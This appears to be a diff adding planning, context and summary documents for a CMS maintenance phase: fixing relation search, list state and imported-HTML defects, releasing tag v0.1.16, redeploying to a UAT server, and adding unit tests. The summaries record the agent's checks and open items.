+**Total deviations:** 1 auto-fixed (1 blocking)
+**Impact on plan:** test isolation only; there is no behavior change and no scope creep.
+
+## Issues Encountered
+
+- `go test ./modules/cabana` without `-run` fails on the Docker-backed tests (no Docker socket permission), as the plan expected. Every failure is a Docker error, and none of those tests uses a writer whose default locale is not first. Recorded in `deferred-items.md`.
+- `scripts/check-phase10.sh --hygiene` and `--self-test` refuse 5 findings in files this plan does not touch (`admin/src/api/files.ts`, `FileCaptionModal.vue`, `MLField.vue`, `mlLocale.ts`). The storage rule changed here passes. Recorded in `deferred-items.md`.
+
+## User Setup Required
+
+None. No external service configuration is required.
+
+## Next Phase Readiness
+
+- Plan 02 can tag the summercms.go release (commits `06d75cb`, `bd8626e`, `9cac45c`), push sm-journal-plugin `528d2d8`, bump the host and redeploy.
+- After the deploy, re-save posts 53 and 64 to repair their `content_html`.
+- Before tagging, run the Postgres-backed cabana suite on a machine with Docker; this machine has none.
+- Plan 03 can reuse `openDryRunDB` and `newDryRunListService` for full coverage of the relation builder (hasOne, self-referencing, soft delete, polymorphic refusal, sort validation) and of `listState.ts`.

+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): the Journal posts list and post form in the admin work on real imported data found on UAT, and the fixes are released as a summercms tag, the host is bumped, UAT is redeployed and the staging smoke re-runs.
+
+This plan's slice (D-05: "02 release and redeploy to UAT, including re-saving posts 53 and 64"): the 16.1-01 fixes reach UAT behind a human release gate, and the four defects are checked on the real imported data.
+
+Wave order (stated per the orchestrator's request): 01 (wave 1) then this plan (wave 2) then 03, the unit tests (wave 3). CLAUDE.md lean rule 3 says earlier plans "must not be blocked on coverage" and the unit-test plan is the last plan of the phase, so the release does not wait for plan 03, as Phase 16 shipped 16-04 (deploy) before 16-05 (tests). The release gate runs the 16.1-01 smoke tests; plan 03's tests land on master after the tag and ship with the next tag. Plan 03 runs after this plan so the two never commit or push in the same repositories at the same time.
+
+## Spec-less probe fallback
+
+Visible skip: no REQUIREMENTS.md IDs to probe. CONTEXT D-04 (release mechanics), D-03 (re-save of posts 53 and 64) and the RESEARCH "Release / deploy mechanics" and "Runtime State Inventory" sections are the source of truth. Claude's discretion (CONTEXT): the unused `en` locale on UAT is not disabled; the framework fix (default locale first) is enough for D-03, and changing UAT data was not asked for.
+
+## Artifacts this phase produces
+
+- A summercms annotated tag `v0.1.x` on origin (or the recorded existing tag that already contains the fixes).
+- sm-journal-plugin `main` on origin: the 16.1-01 FormatHTML commit and `chore(deps): require summercms v0.1.x`.
+- sm-grzybyfunkcjonalne-app `master` on origin: journal gitlink bump, README and DEPLOY.md without the admin re-save warning.
+- UAT server: new `/srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne`, previous one at `bin/grzybyfunkcjonalne.prev`, both programs restarted, posts 53 and 64 re-rendered by an admin save.
+
+<objective>
+Release and redeploy (D-04): pass a human-approved release gate, tag summercms, push the plugin and host bumps, build, deploy to uat.grzybyfunkcjonalne.pl per DEPLOY.md, smoke on the server, then confirm the four defects on UAT and restore posts 53 and 64 (D-03).
+
+Purpose: the fixes from 16.1-01 serve the real imported data on UAT.
+Output: pushed tag and branches, a running UAT release, a passing on-server smoke and read-only proof that the damaged posts are repaired.

+Server facts (16-04-SUMMARY, DEPLOY.md "Server facts"): ssh alias `grzybyfunkcjonalne-uat` (user grzybyfunkcjonalne), install root `/srv/grzybyfunkcjonalne`, programs `grzybyfunkcjonalne-go` and `grzybyfunkcjonalne-nuxt`, sudo only for nginx -t, nginx reload and supervisorctl, PostgreSQL 17.11 reachable by peer psql as the deploy user. The UAT realm answers 401 off-server, so every HTTP check runs on the server with curl resolving the host to 127.0.0.1 (DEPLOY.md "Smoke").
+
+The host builds the framework from the `../summercms.go` working tree through a replace (`require ... summercms v0.0.0`), so there is no framework version to bump in the host; the host bump is the journal gitlink. Commits: no co-author tags, stage by explicit path, one logical change per commit.

+Concurrency (D-02): in summercms.go, git status --porcelain -- modules admin docs scripts must print nothing; git fetch origin --tags; git log --oneline HEAD..origin/master must print nothing. If origin/master has commits this checkout lacks, the concurrent session pushed: stop and report; do not merge or rebase on your own.
+
+Tag (D-04): if git tag --contains on the first 16.1-01 cabana commit lists a tag, the concurrent session's release already includes the fixes: propose reusing that tag and cutting none. Otherwise propose the highest tag from git tag -l 'v0.1.*' --sort=-v:refname plus one (v0.1.16 if nobody tagged after v0.1.15) and confirm with git ls-remote --tags origin that it does not exist yet.
+
+Run the release gate (the verify command). Then print the release sheet: the proposed tag; the commits that will be pushed from summercms.go (git log --oneline origin/master..HEAD, which also carries earlier planning-doc commits) and from ../sm-journal-plugin (git log --oneline origin/main..HEAD); the Postgres-backed suites that cannot run on this machine (TestListQueryContract and the rest of modules/cabana, the sm-journal-plugin admin harness); the deploy steps from DEPLOY.md "Release"; and the rollback (move bin/grzybyfunkcjonalne.prev back and restart grzybyfunkcjonalne-go).

+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.1-06 | Tampering (false-green release) | release gate | medium | mitigate | Task 1 runs vet in both Go repositories, the named smoke tests with a counted PASS check, TestDocsTree, the full vitest suite and the dist drift gate; the Docker-only suites are named in the release sheet and the human chooses release-now or docker-first at a blocking-human checkpoint |
+| T-16.1-07 | Tampering / Repudiation | annotated tag and pushes | high | mitigate | Tag only after git status is clean for modules, admin, docs and scripts and HEAD..origin/master is empty, re-checked right before the push; git tag --contains decides whether a concurrent release already includes the fixes; the uploaded binary's sha256 must equal the local build; the SUMMARY records every pushed head |
+| T-16.1-08 | Information Disclosure | server .env files and credentials | high | mitigate | No .env is rsynced (DEPLOY.md); the executor never asks for, prints or stores UAT basic-auth or admin credentials; all admin steps are done by the human; the SUMMARY carries no secret |
+| T-16.1-09 | Tampering | UAT database and the live Winter site | medium | mitigate | The executor runs only SELECT queries; post data changes only through two human admin saves; the Winter vhost, php-fpm and PHP database are not touched; the previous binary stays as bin/grzybyfunkcjonalne.prev for rollback |
+| T-16.1-10 | Elevation of Privilege | sudo on the server | low | accept | sudo is limited by the server to nginx -t, nginx reload and supervisorctl; this plan uses only supervisorctl restart, status and tail |
+| T-16.1-SC | Tampering | packages | high | mitigate | No package is installed: the binary and the Nuxt output are built locally from the committed lockfiles and go.sum by scripts/build.sh; go mod edit changes only the nominal summercms require, which resolves through the local replace |

+# Phase 16.1 Plan 02: Release and UAT redeploy Summary
+
+**summercms v0.1.16 is tagged and on origin. The journal plugin and the host are bumped and pushed. UAT runs the new build, and its on-server smoke passed. After the human re-saved posts 53 and 64, read-only checks show their HTML is back and no SQLSTATE 42703 has appeared in the log since the restart.**
+
+## Performance
+
+- **Duration:** 1h 26m wall clock. Most of it was waiting on the three human checkpoints.
+- **Started:** 2026-10-09T19:10:00Z (Task 1 release sheet, approximate)
+- **Completed:** 2026-10-09T20:36:08Z
+- **Tasks:** 3 of 3
+- **Files modified:** 4, all in sibling repositories (`../sm-journal-plugin/go.mod`, plus the host's journal gitlink, `README.md` and `DEPLOY.md`)
+
+## Accomplishments
+
+- **Release gate (Task 1).** The gate printed `release-gate-ok`. The human chose docker-first with tag v0.1.16.
+- **Tag and pushes (Task 2).** Annotated tag `v0.1.16`, tag object `d8e3536b4dce4389cac23c88b42837ee72dc872a`, on `d77393b4d1924ba5fa118faf71ded9a5163d6d5c`. Pushes:
+  - summercms master `e381f2c..d77393b`
+  - sm-journal-plugin main `3d533d4..a675f2f`
+  - host master `87e5353..cac2ee7`
+- **UAT redeploy (Task 2).** The build ran through `scripts/build.sh`.
+  - The sha256 is the same locally and on the server: `46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb`.
+  - `migrate` ran and succeeded.
+  - Both programs were restarted at `RESTART_TS=2026/10/09 19:36:54` (server time, UTC) and are RUNNING.
+  - The on-server smoke printed `smoke: ok (98 urls)`.
+- **UAT data repair (Task 3).** The human re-saved posts 53 and 64 in the admin. The read-only SQL check now prints `0:1`, where it printed `2:0` before the re-saves.
+  - Post 53: `updated_at` 2026-10-09 20:33:53.908 UTC, no placeholder.
+  - Post 64: `updated_at` 20:34:08.100 UTC, no placeholder, footer present.
+- **Relation search on real data (Task 3).** No `SQLSTATE 42703` line has appeared in the Go log since the restart (19 lines checked). The 6 such lines in the file all predate the restart.
+
+## Task Commits
+
+The plan made no code commits in summercms.go. The release is a tag on the existing HEAD `d77393b`.
+
+1. **Task 1: Release gate** (checkpoint:decision, blocking-human): no commit, by design
+2. **Task 2: Tracer: tag, push, bump, build, deploy, on-server smoke:**
+   - summercms tag `v0.1.16` (tag object `d8e3536` on `d77393b`)
+   - sm-journal-plugin `a675f2f` (chore(deps): require summercms v0.1.16)
+   - sm-grzybyfunkcjonalne-app `cac2ee7` (chore: bump journal plugin; admin saves keep imported HTML)
+3. **Task 3: UAT acceptance** (checkpoint:human-action, blocking-human): no commit. The human re-saved posts 53 and 64 in the admin, and the executor ran read-only checks afterwards.
+
+**Plan metadata:** this SUMMARY's docs commit; the STATE and ROADMAP updates are committed separately.
+
+## Release sheet (Task 1, ~19:10 UTC)
+
+- **summercms.go:** master HEAD `d77393b`, working tree clean. `HEAD..origin/master` was empty. No tag contained `06d75cb`. The highest tag was v0.1.15, so v0.1.16 was proposed and was absent on origin.
+- **Gate (`release-gate-ok`):**
+  - `go vet` was clean in both repositories.
+  - `TestListRelationSearchSmoke` and `TestEnabledLocalesDefaultFirstSmoke` passed.
+  - sm-journal-plugin `./classes` passed, and so did `TestDocsTree`.
+  - admin vitest ran 75 files and 1106 tests, all passing.
+  - `check-admin-dist.sh` found no drift, and `check-admin-openapi.sh --check` exited 0.
+- **Commits pushed from summercms.go:** 26 commits, including `06d75cb`, `bd8626e`, `9cac45c` and `c5e03f4` "test(16-05): Phase 16 gate".
+- **Commits pushed from sm-journal-plugin:** `528d2d8`.
+- **Not runnable on this machine** (no Docker socket permission): the Postgres/testcontainers suites in `modules/cabana` and the sm-journal-plugin admin harness.
+- **Hygiene:** `check-phase10.sh --hygiene` reported 5 pre-existing findings, already recorded in `deferred-items.md`.
+- **Human reply, verbatim:** "release v0.1.16, docker passed". This is the docker-first option with `RELEASE_TAG=v0.1.16`.
+
+## Task 2 record (~19:33 UTC)
+
+- **Pre-tag re-checks:** fetch ok, `HEAD..origin/master` empty, v0.1.16 absent on origin, ssh ok.
+- **Tag:** `git ls-remote` shows `d8e3536b4dce4389cac23c88b42837ee72dc872a refs/tags/v0.1.16`.
+- **Pushed heads:**
+  - sm-journal-plugin main: `a675f2f197d04f0a30ff03025ddcc9d2c8a93d54`
+  - host master: `cac2ee72fa0cc64d15488680615489ac62de9c83`. Its journal gitlink is `a675f2f`.
+- **Build and upload:**
+  - `check-deploy.sh` ok, and `build.sh` exited 0.
+  - sha256 of the new binary, the same locally and on the server: `46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb`.
+  - The previous binary is kept as `bin/grzybyfunkcjonalne.prev` (sha256 `94116f4ab576c99a130167bbf0ad9accbece48630747e03b2f9727a6a18d68ea`).
+  - No `.env` was uploaded.
+- **Restart:** `migrate` ok, `RESTART_TS=2026/10/09 19:36:54`, both programs RUNNING.
+- **Smoke:** `smoke: ok (98 urls)`, then `deploy-ok`.
+- **Baseline before the re-saves:** the SQL check printed `2:0`.
+
+## Task 3 record
+
+- **First human reply, verbatim:** "all works".
+  - The read-only follow-up checks still printed `2:0`. Posts 53 and 64 had `updated_at` 17:33:52 UTC, which was also the latest `updated_at` across all posts, and there were no journal-post translation rows. So no save had reached UAT yet.
+  - The log check passed: 0 `SQLSTATE 42703` lines since the restart, out of 18 lines.
+  - No rollback was recommended or performed. A checkpoint was returned.
+- **Second human reply, verbatim:** "resaved, no errors".
+- **Orchestrator re-check:** post 53 at 20:33:53.908 UTC and post 64 at 20:34:08.100 UTC. Neither holds the placeholder, post 64 has its footer, and the check printed `0:1`.
+- **This executor's re-check (20:35 UTC):**
+  - SQL check: printed `0:1`, so `SQL-CHECK-PASS`.
+  - Corrected log check: `LOG-CHECK-PASS`, with 19 lines since the restart and 0 `SQLSTATE 42703`.
+- **End-of-phase human checks** (step 3 of the plan: D-01 list state, D-03 form locales and fields, the post-64 footer on `/blog/ekstrakt-z-turkey-tail`): the human reported them under "all works". That reply came before the re-saves had reached UAT, so they are **recorded as human-reported, not independently confirmed**. They are pending for `/msd-verify-work` (coverage D5).
+
+## Files Created/Modified
+
+- `../sm-journal-plugin/go.mod`: nominal `require git.golem15.com/golem15/summercms v0.1.16`. The replace to `../summercms.go` stays.
+- `../sm-grzybyfunkcjonalne-app/plugins/golem15/journal`: gitlink now points to `a675f2f`.
+- `../sm-grzybyfunkcjonalne-app/README.md`: the warning against editing imported posts in the admin is removed.
+- `../sm-grzybyfunkcjonalne-app/DEPLOY.md`: the section that told admins not to re-save imported posts is removed.
+
+## Decisions Made
+
+- **Tag v0.1.16, docker-first.** The human reported the Docker-host suites passed, then approved the release.
+- **No `en` locale change on UAT.** The framework fix (default locale first) is enough for D-03, as planned under Claude's discretion in CONTEXT.
+- **Rollback was not used.** Every check passed. `bin/grzybyfunkcjonalne.prev` stays on the server.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 1 - Bug] The plan's Task 3 log check passed even when it could not read the log**
+- **Found during:** Task 3
+- **Issue:** The plan read the log with `sudo supervisorctl tail -65536 grzybyfunkcjonalne-go`. On UAT, supervisor's XML-RPC fails with an ExpatError on the ANSI escape codes in GORM log lines, so no log lines come back. The error text does not contain `SQLSTATE 42703`, so `grep -c ... | grep -qx 0` passed without checking anything.
+- **Fix:** The check now reads the supervisor log file directly. It fails closed when the file is unreadable or does not contain this restart's `client_id`:
+  `ssh grzybyfunkcjonalne-uat 'F=/var/log/supervisor/grzybyfunkcjonalne-go.log; test -r "$F" && grep -q "client_id=alexandria_2026_10_09T19_36_54" "$F" && awk -v since="2026/10/09 19:36:54" "substr(\$0,1,19) >= since" "$F" | grep -c "SQLSTATE 42703"' | grep -qx 0`
+- **Files modified:** none. Only the verification command changed.
+- **Verification:** The check passed, with 19 lines since the restart and 0 matches. The same file holds 6 `SQLSTATE 42703` lines from before the restart, which shows the check can see the failure it looks for.
+- **Committed in:** n/a (verification only)
+
+---
+
+**Total deviations:** 1 auto-fixed (1 bug in a verify command)
+**Impact on plan:** The changed check is stricter than the plan's. There is no scope change.
+
+## Issues Encountered
+
+- The human's first Task 3 reply ("all works") came before any save had reached UAT, since the SQL still printed `2:0`. The executor returned a second checkpoint instead of accepting the reply. After the second reply ("resaved, no errors") the check printed `0:1`.
+- The Docker-backed suites (modules/cabana Postgres tests, the sm-journal-plugin harness) cannot run on this machine. The human ran them on a Docker host before the release, as the docker-first option requires.
+
+## User Setup Required
+
+None. The plan's `user_setup` covered only the human's UAT admin login, which is already done. No USER-SETUP.md was generated: there are no env vars or keys to configure.
+
+## Next Phase Readiness
+
+- Plan 03 (unit tests) can start. Its tests land on master after v0.1.16 and ship with the next tag.
+- `/msd-verify-work 16.1` should confirm coverage D5 on UAT: D-01 list state, D-03 form locales and fields, and the post-64 footer on `/blog/ekstrakt-z-turkey-tail`.
+- Rollback is still available if needed: move `bin/grzybyfunkcjonalne.prev` back and restart `grzybyfunkcjonalne-go`.
+
+---
+*Phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f*
+*Completed: 2026-10-09*
+
+## Self-Check: PASSED
+
+- Tag v0.1.16 is on origin and contains 06d75cb.
+- sm-journal-plugin a675f2f equals origin/main.
+- Host cac2ee7 equals origin/master, and its gitlink is a675f2f.
+- `grep -ci omitted` returns 0 for both README.md and DEPLOY.md.
+- The sha256 is the same locally and on the server, and both programs are RUNNING.
+- The SQL check prints 0:1 and the log check passes.

+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): the Journal posts list and post form in the admin work on real imported data found on UAT (relation search, remembered list state, stored content and excerpt in the form), released and redeployed.
+
+This plan's slice (D-05: "03 unit tests"; CLAUDE.md lean rule 3): full unit coverage of every 16.1 code change, ending the phase. It runs after plan 02 (wave 3) because the release was not to wait for coverage (lean rule 3) and the two plans commit in the same repositories; its commits ship with the next tag.
+
+## Spec-less probe fallback
+
+Visible skip: no REQUIREMENTS.md IDs to probe. The edge cases RESEARCH and plan 01 named (polymorphic, soft-deleting and self-referencing relations, custom join keys, stale or malformed stored state, cleared controls, same-path navigation, out-of-range page, disabled storage, the gate as the only XSS defence) are each authored as a test case in `must_haves.truths`.
+
+## Artifacts this phase produces
+
+- New `admin/tests/state/listState.test.ts`; extended `admin/tests/list/ListView.test.ts`, `admin/tests/form/FormView.test.ts`, `admin/tests/state/useAuth.test.ts`.
+- Extended `modules/cabana/query_relation_test.go` (DryRun matrix, Postgres test) and `modules/cabana/locale_order_test.go`.
+- Extended `../sm-journal-plugin/classes/format_html_test.go` and `../sm-journal-plugin/posts_admin_smoke_test.go`.
+- `16.1-VALIDATION.md` statuses filled with the measured results.
+
+<objective>
+Bring full unit coverage to the Phase 16.1 code (D-01, D-02, D-03) as the phase's last plan, and run the phase gate.
+
+Purpose: the fixes stay fixed: relation subqueries, locale order, lossless HTML and remembered list state are pinned by tests that run without Docker, plus Postgres tests for a Docker host.
+Output: test commits in summercms.go (admin, cabana) and sm-journal-plugin, and a filled VALIDATION.md.

+
+admin/tests/list/ListView.test.ts: with a stored query and an empty URL, no list GET without the stored params is made and the first carries them; a URL with params wins and overwrites storage; clearing search, sort and filters through the UI removes the key, and remounting the bare list loads unfiltered; with the list filtered, router.push to the bare list path keeps the filters and makes no unfiltered request; a 422 list response removes the stored key; a response with page above last_page replaces the URL page with last_page and requests that page.

+
+Add TestListRelationSearchPostgres (Postgres through newListService's shared container; it fails rather than skips without Docker, like the package's other Postgres tests): migrate the relation fixtures, seed one post with two tags that both match "fungi" and one post with an unrelated tag; search=fungi answers total 1 with only the first post; sort=tags orders by the joined tag names; a hasMany note search returns the right post.

+# Phase 16.1 Plan 03: Unit tests Summary
+
+**The Phase 16.1 fixes are now covered by tests that run without Docker:**
+- vitest pins the list to form to list round trip and the browser-storage list state.
+- A DryRun SQL matrix pins the relation subquery builder, including a bound-value check through GORM's ParamsFilter hook.
+- Table tests pin the default-locale order.
+- FormatHTML tests require an error for every unsafe input and an unchanged result for imported HTML.
+
+Two Postgres tests are written for a Docker host.
+
+## Performance
+
+- **Duration:** 12 min
+- **Started:** 2026-10-09T20:38:52Z
+- **Completed:** 2026-10-09T20:51:32Z
+- **Tasks:** 3 of 3
+- **Files modified:** 6 in summercms.go (4 admin test files, 2 cabana test files), 2 in sm-journal-plugin, plus VALIDATION.md and WINDOWS.md
+
+## Accomplishments
+
+- **D-01, form round trip (tracer).** A stored query (`sort=code`, `dir=desc`, `filter[active]=true`) is restored after back, cancel, save-and-close and delete. The router lands on the list with that query, and every list GET after the click carries it. A fifth case checks that nothing stored means an unfiltered list with no params.
+  - Mutation check: with the restore in `ListView.vue` disabled, the four restore cases fail and the unfiltered case still passes.
+- **D-01, listState.ts (23 tests).**
+  - Keys are the prefix plus the controller id, one key per list.
+  - Invalid JSON, non-objects, arrays and non-string values read as empty and remove the key. The strict parser drops malformed values.
+  - An empty query, empty filter values or only page 1 remove the key. A write then read round-trips every field.
+  - `clearListStates` keeps `summer-admin.sidebar` and unrelated keys.
+  - Storage whose `getItem`, `setItem`, `removeItem`, `key` or `localStorage` getter throws never throws out of the helpers.
+- **D-01, ListView entry.**
+  - With a stored query, no list request goes out without the stored params.
+  - Every list param in the URL wins and replaces the whole stored query.
+  - Clearing search, sort and filter through the UI removes the key, and a remount loads the list unfiltered.
+  - `router.push` to the bare path of the same filtered list keeps the filters and makes no unfiltered request.
+  - A 422 removes the key.
+  - A page past `last_page`, from the URL or from storage, is replaced by `last_page` (requests 5 then 2).
+- **D-01, logout.** For a successful call, a 500 and a network failure, logout removes every `summer-admin.list:` key and leaves only `summer-admin.sidebar`.
+- **D-02, TestListRelationSQL.** 14 SQL-shape cases, 5 refusals and 2 statement-level checks.
+  - **Custom pivot keys.** The `cabana_rel_labelings` pivot with `labeled_post`/`label_ref` uses exactly those names, and the SQL has none of the default `rel_*_id` names.
+  - **Self-reference.** `cabana_rel_people` is aliased `cabana_r0` and correlates to the unaliased main table.
+  - **Soft delete.** The related model adds `"cabana_r0"."deleted_at" IS NULL`.
+  - **Refusals.** Polymorphic search and sort, and an unknown select column, each answer 422 with only that parameter in `details`. No page is loaded.
+  - **Search term.** `O'Neil 100%_X` never appears in the SQL text. Four placeholders are each bound to `%o'neil 100\%\_x%`.
+  - **ListExtendQuery and scope filter.** `user_id = 7 AND (...) AND id IN (3)` has no JOIN outside the subqueries.
+  - **Sort.** To-many sort orders by `string_agg` in both directions, followed by the id tiebreak. belongsTo and hasOne sort keep the `LEFT JOIN ... "Author"` / `"Profile"` association join.
+- **D-02, TestListRelationSearchPostgres.**
+  - A post with two tags matching "fungi" gives total 1.
+  - `sort=tags` gives [2 1] ascending and [1 2] descending.
+  - `search=spore` finds the hasMany note, and `search=ada` finds the belongsTo author.
+- **D-03, TestEnabledLocalesDefaultFirst.** 12 subtests, including a check that the writer's slice is not reordered in place.
+- **D-03, FormatHTML.**
+  - **Keep cases.** 7 imported-style bodies round-trip unchanged after trimming. Markdown keeps a trailing raw `<footer>` and `<style>` verbatim.
+  - **Refuse cases.** All 19 refuse cases must return an error and an empty result. This adds svg `onload`, mixed-case `on*`, `javascript:` and `vbscript:` hrefs, `object`, `embed`, a script inside an HTML block, raw and markdown `data:` URLs, and upper-case `IFRAME`.
+  - `check_html_test.go` is unchanged and green.
+- **D-03, TestPostsAdminResaveKeepsHTML.** An admin creates and then updates (PUT) a post whose content is two HTML paragraphs. After each write, `content_html` equals the content and has no placeholder.
+
+## Task Commits
+
+summercms.go (master, not pushed; ships with the next tag):
+
+1. **Task 1: Tracer, list state round trip and storage coverage:** `a8bce9c` (test)
+2. **Task 2: Relation subquery and locale order coverage:** `837922c` (test)
+3. **Task 3 phase gate: VALIDATION.md results:** `837e40a` (docs)
+
+sm-journal-plugin (main, not pushed):
+
+3. **Task 3: FormatHTML keep and refuse coverage, admin re-save keeps HTML:** `03907ee` (test)
+
+## Gate output
+
+- Task 1: `npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke` gave 16 files and 299 tests passed. `npm --prefix admin run typecheck` was clean.
+- Task 2: `go vet ./modules/cabana` was clean. Four `--- PASS: Test` lines: `TestEnabledLocalesDefaultFirstSmoke`, `TestEnabledLocalesDefaultFirst`, `TestListRelationSearchSmoke`, `TestListRelationSQL`.
+- Task 3, journal: `go -C ../sm-journal-plugin vet ./...` was clean and `./classes/` printed ok. Two `--- PASS: Test` lines for the FormatHTML tests.
+- Phase gate: `go vet ./...`, `TestDocsTree`, the typecheck, `npm --prefix admin test` (76 files, 1144 tests), and `check-admin-dist.sh` ("modules/boardwalk/dist matches a fresh build") ended with **`phase-16.1-local-gate-ok`**.
+- Quick suite latency: 20 s.
+
+## Docker-host result
+
+**Pending.** `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` fail here with `failed to create Docker provider`. They fail rather than skip, as designed. They are a manual row in VALIDATION.md and two `unrun-verify` entries in `.planning/WINDOWS.md`.
+
+Human check before `/msd-verify-work`: on a Docker host, run `go test -count=1 ./...` in summercms.go and `go -C ../sm-journal-plugin test -count=1 ./...`. This includes `TestListQueryContract`, `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML`.
+
+## Files Created/Modified
+
+- `admin/tests/state/listState.test.ts` (new): the storage helper tests.
+- `admin/tests/form/FormView.test.ts`: "returning to the list keeps its query (D-01)" with the tracer.
+- `admin/tests/list/ListView.test.ts`: "list state entry logic (D-01)".
+- `admin/tests/state/useAuth.test.ts`: logout clears list keys and keeps the sidebar.
+- `modules/cabana/query_relation_test.go`:
+  - Matrix fixtures: custom pivot, self-reference, soft delete, polymorphic, hasOne and the scoped model and controller.
+  - `bindRecorder` and `openBindDryRunDB`, `withoutSubqueries`, `pageStatement`.
+  - `newFilteredListService`; `newDryRunListService` now delegates to it.
+  - `TestListRelationSQL` and `TestListRelationSearchPostgres`.
+- `modules/cabana/locale_order_test.go`: `TestEnabledLocalesDefaultFirst` and its writer test doubles.
+- `../sm-journal-plugin/classes/format_html_test.go`: strict refuse cases and keep cases.
+- `../sm-journal-plugin/posts_admin_smoke_test.go`: `TestPostsAdminResaveKeepsHTML`.
+- `16.1-VALIDATION.md`: every status filled, Wave 0 checked, recorded runs.
+- `.planning/WINDOWS.md`: two unrun-verify entries for the Docker-host tests.
+
+## Decisions Made
+
+- **Strict refuse cases.** The FormatHTML refuse cases now require an error and an empty result. The old check also passed when the unsafe markup was rendered harmless. That is no longer a valid outcome, because with `html.WithUnsafe()` the gate is the only defence.
+- **`nyquist_compliant: true`.** Every automated row is green. Docker-host suites and UAT checks remain manual rows. The frontmatter `status` stays `draft`, because only validate-phase sets it to `validated`.
+
+## Deviations from Plan
+
+None. The plan executed as written. Small additions within scope:
+- hasOne search and sort cases.
+- An `EnabledLocales` error case, an empty-default case and a no-in-place-mutation case.
+- `newFilteredListService`, needed for the scope-filter case.
+
+## Issues Encountered
+
+- The `windows append` CLI refuses paths outside the repository. The sm-journal-plugin entry was therefore recorded against `16.1-VALIDATION.md`, and its description names the test file.
+- The auto-mode classifier twice gave no verdict on the Task 2 commit. The retry succeeded and nothing changed in between.
+
+## User Setup Required
+
+None. No external service configuration is required.
+
+## Next Phase Readiness
+
+- Phase 16.1 has every plan summarized. Next steps:
+  - Run the Docker-host suites, which are pending.
+  - Run `/msd-verify-work 16.1` for the UAT rows (D-01 list state, D-03 form locales, the post-64 footer).
+- Commits `a8bce9c`, `837922c` (summercms.go) and `03907ee` (sm-journal-plugin) are unpushed and ship with the next release.
+- Phase 16.2 can reuse `openBindDryRunDB`, `newFilteredListService` and the generic `relModelController` for any new list SQL.

+# Phase 16.1: Journal admin urgent fixes - Context
+
+**Gathered:** 2026-10-09
+**Status:** Ready for planning (no discuss-phase run; decisions captured from the user directly)
+
+<domain>
+## Phase Boundary
+
+Fix the four defects found on UAT in the Journal posts admin (uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts), release, and redeploy:
+
+1. List search fails with "The list could not be loaded." (`{"error":{"code":"error","details":{},"message":"Server error"}}`). Go log: `ERROR: column Categories.post_id does not exist (SQLSTATE 42703)` at summercms@v0.1.9 `modules/cabana/query.go:129` — search across a belongsToMany (pivot) relation builds a hasMany-style join.
+2. List sort and filters are lost after opening a post and going back.
+3. The post form shows `content` empty on every post, although the UAT database has `content` and `content_html` on 104/104 posts and the frontend renders them.
+4. The post form shows `excerpt` empty, although 100/104 posts have `excerpt` in the database.
+
+Out of scope: plugin-provided field types and the Blog Editor formwidget (Phase 16.2).
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+- **D-01: List state lives in the URL and in the browser's localStorage.** Sort, filters, search and page are reflected in the list URL query string (shareable, bookmarkable, back-button friendly); the form's back/save/close links and the admin navigation return to the list with its query. When the list is opened without list-state query parameters (for example from the admin navigation), the last query stored in localStorage for that list (keyed per list) is restored before the first list request. When the URL carries list-state parameters, the URL wins and also updates localStorage. No server-side storage: no table, no migration, no new API route (revised 2026-10-09 to keep the phase small; admin auth is a stateless JWT, so a server session would need new storage). User's words: "I may go back to Posts list through navigation and it's great if my filters were remembered + sharable URLs are nice to have."
+- **D-05: Three plans.** 01 all fixes (cabana EXISTS relation search and sort, default locale first in form locales, Journal FormatHTML keeping imported HTML, list state via URL + localStorage); 02 release and redeploy to UAT, including re-saving posts 53 and 64 that lost HTML on import; 03 unit tests.
+- **D-02: The relation-search fix is a framework fix in summercms.go `modules/cabana`**, generic for belongsToMany (pivot) relations, not a Journal-specific workaround. Another session is concurrently working in `modules/`; plans must keep cabana changes in their own commits, stage files explicitly by path, and check for conflicting in-flight edits before touching shared cabana files.
+- **D-03: Content and excerpt must show the stored values without loss.** Root cause is to be established by research (suspects: translatable-field overlay replacing host values with empty translations; the markdown widget not displaying imported HTML). Saving a post from the admin must not destroy imported HTML (see todo `journal-imported-html-admin-resave.md`); if a full fix needs the Blog Editor, 16.1 at least prevents data loss and 16.2 delivers the editor.
+- **D-04: Ship to UAT.** Release a summercms tag carrying the cabana fixes (unless the concurrent session's release already includes them), bump `sm-grzybyfunkcjonalne-app`, redeploy to uat.grzybyfunkcjonalne.pl per its DEPLOY.md, and re-run `scripts/smoke.sh --url` on the server.
+
+### Claude's Discretion
+- localStorage key naming for list state; reuse the existing list query parameters (`search`, `sort`, `dir`, `page`, `per_page`, `filter[name]`).
+- Whether to disable the unused `en` locale on the UAT site during deploy (not required by the framework fix).
+- Test strategy, within the lean-mode rule that unit tests are the last plan of the phase.

+
+## Pattern Assignments
+
+### `modules/cabana/query.go` (service, SQL builder)
+
+**Current bug, search** (L345-360) — replace the `db.Joins(field)` branch with an `EXISTS` term appended to `parts`/`args`:
+```go
+if col.Relation != "" {
+	field, ok := relationFieldName(model, col.Relation)
+	physical := listRelationColumn(controller, col.Relation, col.Select)
+	if !ok || !identifier(physical) {
+		return nil, listInvalid("search", "is not searchable")
+	}
+	// GORM aliases the joined association with the Go field name.
+	table = field
+	column = physical
+	if _, done := joined[field]; !done {
+		db = db.Joins(field)
+		joined[field] = struct{}{}
+	}
+}
+```
